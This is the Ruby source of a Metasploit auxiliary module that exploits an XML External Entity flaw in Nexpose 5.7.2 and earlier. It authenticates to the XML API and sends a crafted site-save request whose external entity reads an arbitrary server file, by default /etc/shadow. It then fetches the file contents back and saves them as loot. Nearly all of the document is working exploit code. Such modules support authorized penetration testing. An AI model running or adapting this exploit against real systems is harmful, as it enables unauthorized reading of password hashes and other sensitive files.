131 lines
3.9 KiB
Ruby
131 lines
3.9 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'nexpose'
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class MetasploitModule < Msf::Auxiliary
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include Msf::Exploit::Remote::HttpClient
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include Msf::Auxiliary::Report
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def initialize(info = {})
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super(
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update_info(
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info,
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'Name' => 'Nexpose XXE Arbitrary File Read',
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'Description' => %q{
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Nexpose v5.7.2 and prior is vulnerable to a XML External Entity attack via a number
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of vectors. This vulnerability can allow an attacker to a craft special XML that
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could read arbitrary files from the filesystem. This module exploits the
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vulnerability via the XML API.
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},
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'Author' => [
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'Brandon Perry <bperry.volatile[at]gmail.com>', # Initial discovery and Metasploit module
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'Drazen Popovic <drazen.popvic[at]infigo.hr>', # Independent discovery, alternate vector
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'Bojan Zdrnja <bojan.zdrnja[at]infigo.hr>' # Independently reported
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],
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'License' => MSF_LICENSE,
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'References' => [
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[ 'URL', 'https://www.rapid7.com/blog/post/2013/08/16/r7-vuln-2013-07-24/' ]
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],
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'DefaultOptions' => {
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'SSL' => true
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}
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)
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)
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register_options(
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[
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Opt::RPORT(3780),
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OptString.new('USERNAME', [true, 'The Nexpose user', nil]),
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OptString.new('PASSWORD', [true, 'The Nexpose password', nil]),
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OptString.new('FILEPATH', [true, 'The filepath to read on the server', '/etc/shadow'])
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]
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)
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end
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def run
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user = datastore['USERNAME']
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pass = datastore['PASSWORD']
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trust_store = datastore['TRUST_STORE']
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nsc = Nexpose::Connection.new(rhost, user, pass, rport, nil, nil, trust_store)
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print_status('Authenticating as: ' << user)
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begin
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nsc.login
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connection_details = {
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module_fullname: fullname,
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username: user,
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private_data: pass,
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private_type: :password,
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status: Metasploit::Model::Login::Status::UNTRIED
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}.merge(service_details)
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create_credential_and_login(connection_details)
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rescue StandardError
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print_error('Error authenticating, check your credentials')
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return
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end
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xml = '<!DOCTYPE foo ['
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xml << '<!ELEMENT host ANY>'
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xml << %(<!ENTITY xxe SYSTEM "file://#{datastore['FILEPATH']}">)
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xml << ']>'
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xml << '<SiteSaveRequest session-id="'
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xml << nsc.session_id
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xml << '">'
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xml << '<Site id="-1" name="fdsa" description="fdfdsa">'
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xml << '<Hosts>'
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xml << '<host>&xxe;</host>'
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xml << '</Hosts>'
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xml << '<Credentials />'
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xml << '<Alerting />'
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xml << '<ScanConfig configID="-1" name="fdsa" templateID="full-audit" />'
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xml << '</Site>'
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xml << '</SiteSaveRequest>'
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print_status('Sending payload')
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begin
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fsa = nsc.execute(xml)
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rescue StandardError
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print_error('Error executing API call for site creation, ensure the filepath is correct')
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return
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end
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doc = REXML::Document.new fsa.raw_response_data
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id = doc.root.attributes['site-id']
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xml = "<SiteConfigRequest session-id='" << nsc.session_id << "' site-id='" << id << "' />"
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print_status('Retrieving file')
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begin
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fsa = nsc.execute(xml)
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rescue StandardError
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nsc.site_delete id
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print_error('Error retrieving the file.')
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return
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end
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doc = REXML::Document.new fsa.raw_response_data
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print_status('Cleaning up')
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begin
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nsc.delete_site id
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rescue StandardError
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print_warning('Error while cleaning up site ID, manual cleanup required!')
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end
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unless doc.root.elements['//host']
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print_error('No file returned. Either the server is patched or the file did not exist.')
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return
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end
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path = store_loot('nexpose.file', 'text/plain', rhost, doc.root.elements['//host'].first.to_s, "File from Nexpose server #{rhost}")
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print_good('File saved to path: ' << path)
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end
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end
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